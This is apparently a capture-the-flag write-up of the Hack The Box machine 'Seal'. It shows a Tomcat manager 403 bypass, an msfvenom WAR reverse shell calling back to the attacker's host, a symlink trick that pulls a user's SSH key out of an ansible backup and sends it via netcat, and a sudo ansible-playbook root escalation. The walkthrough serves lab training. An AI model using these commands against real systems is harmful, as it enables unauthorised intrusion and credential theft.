Link: https://app.hackthebox.eu/machines/Seal

Enumeration

TCP Port Scan

nmap tcp scan

Our nmap scan reveals 2 open ports and 21 other filtered ports, most of which are of an unknown service.

UDP Port Scan

udp ports

We also have 15 potentially open UDP ports.

Web Server

Navigating to the server over HTTPS on port 443 reveals a certificate for seal.htb. I modified my /etc/hosts file to point our IP at this domain.

Accepting the risk and continuing takes us to a page named Seal Market that offers a vegetable subscription for European customers. The most interesting thing on this page is a contact form, however attempting to submit anything just packages it up as query parameters and submits it back to this index page, so it is useless.

We can perform a gobuster scan with the following command:

gobuster dir -u https://seal.htb -w /usr/share/wordlists/dirb/big.txt -k

The -k option will allow the scan to proceed and ignore the invalid SSL certificate.

Our scan produces several interesting results.

  • By navigating to /] we get a 400 error page showing our web server version is Apache Tomcat/9.0.31 (Ubuntu).
  • gobuster can see the asset directories such as /images, /css, /icon, /js, but attempting to access these results in a 404 error
  • It also found a /manager endpoint. Accessing this returns a 403 forbidden. Trying to set it as a subdomain also fails. It seems to want to redirect to port 80 (HTTP) and navigate to /manager/html. Because port 80 is not accessible from the outside we cannot access this.

I performed another scan just to check for subdomains:

gobuster vhost -u https://seal.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -k

But nothing useful turned up.

TCP Port Scan Take 2

I performed another port scan for all ports and my scan revealed different results. This time only ports 22, 443 and a new 8080 appeared.

a new service

Web Server – Port 8080

Navigating to port 8080 shows a gitbucket server. I was able to register for a new account using the info:

Username: test1
Password: test
Email:    [email protected]

Navigating to our Dashboard, we can see two repositories. One named root/seal_market and the other root/infra.

root/seal_market

This appears to be the source code for the seal market front page on port 443.

One of the most interesting files is the nginx settings

	location /admin/dashboard {
		if ($ssl_client_verify != SUCCESS) {
			return 403;
		}
		proxy_set_header        Host $host;
		proxy_set_header        X-Real-IP $remote_addr;
		proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
		proxy_set_header        X-Forwarded-Proto $scheme;
		proxy_pass          http://localhost:8000;
		proxy_read_timeout  90;
		proxy_redirect      http://localhost:8000 https://0.0.0.0;
		# First attempt to serve request as file, then
		# as directory, then fall back to displaying a 404.
#		try_files $uri $uri/ =404;
	}

There is a block identical to this for /manager/html and /host-manager/html. Looking at the nginx documentation, it will return 403 for each of these end points unless we provide a valid client certificate. The nginx configuration says these can be found here:

ssl_certificate /var/www/keys/selfsigned.crt;
ssl_certificate_key /var/www/keys/selfsigned.key;
ssl_client_certificate /var/www/keys/selfsigned-ca.crt;

We would need the ssl_client_certificate.

Looking inside of the commit history, commit 971f3aa3f0a0cc8aac12fd696d9631ca540f44c7 reveals a username and password for us inside of /tomcat/tomcat-users.xml:

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

Using this password on gitbucket for Luis allows us to login, however it does not work for SSH.

There is also an issue mentioning Tomcat mutual authentication but luis mentions they are using Nginx instead. The ToDo mentions to remove mutual authentication for dashboard & to disable manager & host-manager.

root/infra

This appears to be scripts related to adding a user named tomcat, installing the latest directory and configuring the server. The script appears to run as root.

403 Bypass


I found this github here, that mentions adding a /;/ in the URL can bypass the 403 check and sure enough it works

Now we can navigate to /manager/;/html as it bypasses nginx’s check and use the tomcat credentials for access.

WAR Reverse Shell

On the /manager/;/html page, we can upload a .war file. Using msfvenom let’s create a reverse shell

msfvenom -p java/shell_reverse_tcp lhost=10.10.xx.xxx lport=4444 -f war -o pwn.war

Now we can upload the file and then open the dev tools network tab. Hit send, it will fail. Right click, Edit and Resend and now add the /;/ to the url and send, it will upload our payload.

intercept via browser

Now we just need to navigate to /pwn and our netcat listener will receive a hit! Running whoami shows we are tomcat.

Enumeration as tomcat

Running ps aux shows we have a script running as root

root      151777  0.0  0.0   2608   604 ?        Ss   23:13   0:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

Inside of this run.yml we can see that anything that is in the /var/lib/tomcat9/webapps/ROOT/admin/dashboard folder, including sym links, will be copied to a backup zip.

So we can try and copy the private .ssh key of luis to this directory

# cd into the uploads folder that we can write to
/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
# create symlink of the private key
ln -s /home/luis/.ssh /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
# copy the zip file so we can access it
cp /opt/backups/files/backup-2021-09-01-23:20:33.gz /tmp/files.gz 
# navigate to /tmp (alternatively save back in /uploads)
cd /tmp
# unzip
gzip -kd files.gz
# untarball
tar -xf files
# get to the files
cd dashboard/uploads/.ssh

# on my machine
nc -l -p 4443 > seal_key

# send the key to me
nc 10.10.xx.xxx 4443 < id_rsa

# on my machine
ssh [email protected] -i seal_key

Now we just copy this key and can log in as luis!

Enumeration as Luis

Grab the flag in our home directory as user.txt.

Running sudo -l reveals we can run ansible-playbook as root. Looking up GTFObins, we can do the following to gain a root shell:

TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

Root

Getting to root was as easy as that and we can grab the flag in /root/root.txt.

Conclusion

Getting the shell as tomcat was not too difficult, I have done a similar box where I uploaded a .war file. Upgrading from tomcat to luis took me several hours, I kept missing the script running for ansible and then the ability to copy .ssh for the backup.

Finally getting root was trivially easy, a simple sudo -l showed we can run that same ansible as root and GTFObins had a simple script to escalate us to root.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.